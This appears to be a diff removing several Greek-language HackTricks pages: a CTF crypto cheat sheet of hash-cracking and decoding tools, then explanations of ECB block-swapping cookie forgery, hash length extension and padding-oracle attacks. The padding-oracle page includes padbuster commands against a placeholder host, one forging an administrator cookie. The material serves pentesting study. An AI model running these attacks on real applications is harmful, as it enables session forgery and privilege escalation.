- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
- [https://md5decrypt.net/](https://md5decrypt.net)
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
- [https://gpuhash.me/](https://gpuhash.me)
- [https://hashes.org/search.php](https://hashes.org/search.php)
- [https://www.cmd5.org/](https://www.cmd5.org)
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
Οι περισσότερες από τις κωδικοποιημένες δεδομένες μπορούν να αποκωδικοποιηθούν με αυτούς τους 2 πόρους:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Πολύ καλό!
#### Caesar - ROTx Autosolvers
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
Ελέγξτε όλες αυτές τις βάσεις με: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Νεκρός: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Μορς
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Πληκτρολόγιο Dvorak
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Γράμματα στην αριθμητική τους αξία
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Γράμμα σε αριθμό `(ax+b)%26` (_a_ και _b_ είναι τα κλειδιά και _x_ είναι το γράμμα) και το αποτέλεσμα πίσω σε γράμμα
```
krodfdudfrod
```
### SMS Code
**Multitap** [αντικαθιστά ένα γράμμα](https://www.dcode.fr/word-letter-change) με επαναλαμβανόμενους ψηφίους που καθορίζονται από τον αντίστοιχο κωδικό πλήκτρου σε ένα κινητό [πληκτρολόγιο τηλεφώνου](https://www.dcode.fr/phone-keypad-cipher) (Αυτή η λειτουργία χρησιμοποιείται κατά την αποστολή SMS).\
Για παράδειγμα: 2=A, 22=B, 222=C, 3=D...\
Μπορείτε να αναγνωρίσετε αυτόν τον κωδικό γιατί θα δείτε **πολλούς επαναλαμβανόμενους αριθμούς**.
Μπορείτε να αποκωδικοποιήσετε αυτόν τον κωδικό στο: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Αντικαταστήστε κάθε γράμμα με 4 Α ή Β (ή 1s και 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Συμπίεση
**Raw Deflate** και **Raw Inflate** (μπορείτε να βρείτε και τα δύο στο Cyberchef) μπορούν να συμπιέσουν και να αποσυμπιέσουν δεδομένα χωρίς κεφαλίδες.
## Εύκολη Κρυπτογραφία
### XOR - Αυτόματη Λύση
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
Απαιτείται μια λέξη-κλειδί
```
fgaargaamnlunesuneoa
```
### Vigenere
Απαιτείται ένα κλειδί
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Ισχυρή Κρυπτογραφία
### Fernet
2 base64 συμβολοσειρές (token και key)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
Ένα μυστικό χωρίζεται σε X μέρη και για να το ανακτήσεις χρειάζεσαι Y μέρη (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Εργαλεία
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,68 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# ECB
(ECB) Ηλεκτρονικό Βιβλίο Κωδικών - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτογραφημένου κειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **χωρίσετε** το καθαρό κείμενο σε **μπλοκ N bit** (εξαρτάται από το μέγεθος του μπλοκ των εισερχόμενων δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας το μόνο κλειδί.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Η χρήση του ECB έχει πολλές επιπτώσεις στην ασφάλεια:
- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να αφαιρεθούν**
- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να μετακινηθούν**
# Ανίχνευση της ευπάθειας
Φανταστείτε ότι συνδέεστε σε μια εφαρμογή πολλές φορές και **πάντα λαμβάνετε το ίδιο cookie**. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`<username>|<password>`**.\
Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\
Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι οι ίδιες είναι **ίσα**. Στη συνέχεια, φαντάζεστε ότι αυτό μπορεί να συμβαίνει επειδή **χρησιμοποιείται το ECB**.
Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν πολλές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιείχαν πολλές φορές το γράμμα "a"** (για παράδειγμα). Τα **μπλοκ** που είναι **διαφορετικά** είναι μπλοκ που περιείχαν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη).
Τώρα, ο επιτιθέμενος χρειάζεται απλώς να ανακαλύψει αν η μορφή είναι `<username><delimiter><password>` ή `<password><delimiter><username>`. Για να το κάνει αυτό, μπορεί απλώς να **δημιουργήσει αρκετά ονόματα χρήστη** με **παρόμοια και μακριά ονόματα χρήστη και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:**
| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Μήκος ονόματος χρήστη + Κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): |
| ----------------------- | ------------------------ | -------------------------------------------- | ---------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Εκμετάλλευση της ευπάθειας
## Αφαίρεση ολόκληρων μπλοκ
Γνωρίζοντας τη μορφή του cookie (`<username>|<password>`), προκειμένου να προσποιηθεί το όνομα χρήστη `admin`, δημιουργήστε έναν νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
Μπορούμε να δούμε το μοτίβο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο `a`.\
Στη συνέχεια, μπορείτε να αφαιρέσετε το πρώτο μπλοκ των 8B και θα αποκτήσετε ένα έγκυρο cookie για το όνομα χρήστη `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Μετακίνηση μπλοκ
Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητάς `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_
Έτσι, ένας άλλος τρόπος για να προσποιηθείς τον χρήστη `admin` θα ήταν να:
- Δημιουργήσεις ένα όνομα χρήστη που: `len(<username>) + len(<delimiter) % len(block)`. Με μέγεθος μπλοκ `8B` μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται: `username `, με τον διαχωριστή `|` το κομμάτι `<username><delimiter>` θα δημιουργήσει 2 μπλοκ των 8Bs.
- Στη συνέχεια, να δημιουργήσεις έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό μπλοκ που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin `
Το cookie αυτού του χρήστη θα αποτελείται από 3 μπλοκ: τα πρώτα 2 είναι τα μπλοκ του ονόματος χρήστη + διαχωριστής και το τρίτο από τον κωδικό πρόσβασης (ο οποίος προσποιείται το όνομα χρήστη): `username |admin `
**Στη συνέχεια, απλώς αντικατέστησε το πρώτο μπλοκ με το τελευταίο και θα προσποιείσαι τον χρήστη `admin`: `admin |username`**
## Αναφορές
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,38 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
# Περίληψη της επίθεσης
Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε:
- **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους)
- **Τα καθαρά δεδομένα**
- **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)**
- **Η προσθήκη είναι γνωστή**
- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης
- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**.
## Πώς;
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**.
Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", το MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να:
- Δημιουργήσει ένα MD5 από 64 "A"s
- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b
- Προσθέσει τη συμβολοσειρά "append"
- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"**
## **Εργαλείο**
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Αναφορές
Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,102 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
# CBC - Cipher Block Chaining
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Σημειώστε πώς είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί** **κρυπτογράφησης** και ένα **IV**.
# Message Padding
Καθώς η κρυπτογράφηση εκτελείται σε **σταθερούς** **μεγέθους** **μπλοκ**, η **padding** είναι συνήθως απαραίτητη στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί μια padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που είναι **απαραίτητα** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, η padding θα είναι `\x03\x03\x03`.
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**.
# Padding Oracle
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει την padding. Κατά την καθαριότητα της padding, αν μια **μη έγκυρη padding προκαλεί μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**.
Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
## How to exploit
Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε
```
sudo apt-get install padbuster
```
Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Κωδικοποίηση 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες, ελέγξτε το μενού βοήθειας).
Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας `paduster` καθορίζοντας την παράμετρο -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Η θεωρία
Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ.
![](<../images/image (629) (1) (1).png>)
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\
Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
- `C13 = I13 ^ E5`
- `C12 = I12 ^ E4`
- ...
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7`
Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7`
Αυτό μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσετε το C14, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\
Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
## Ανίχνευση της ευπάθειας
Εγγραφείτε και δημιουργήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\
Εάν **συνδεθείτε πολλές φορές** και πάντα λαμβάνετε το **ίδιο cookie**, πιθανότατα υπάρχει **κάτι** **λάθος** στην εφαρμογή. Το **cookie που επιστρέφεται θα πρέπει να είναι μοναδικό** κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
Τώρα, αν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\
Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster.
## Αναφορές
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,15 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
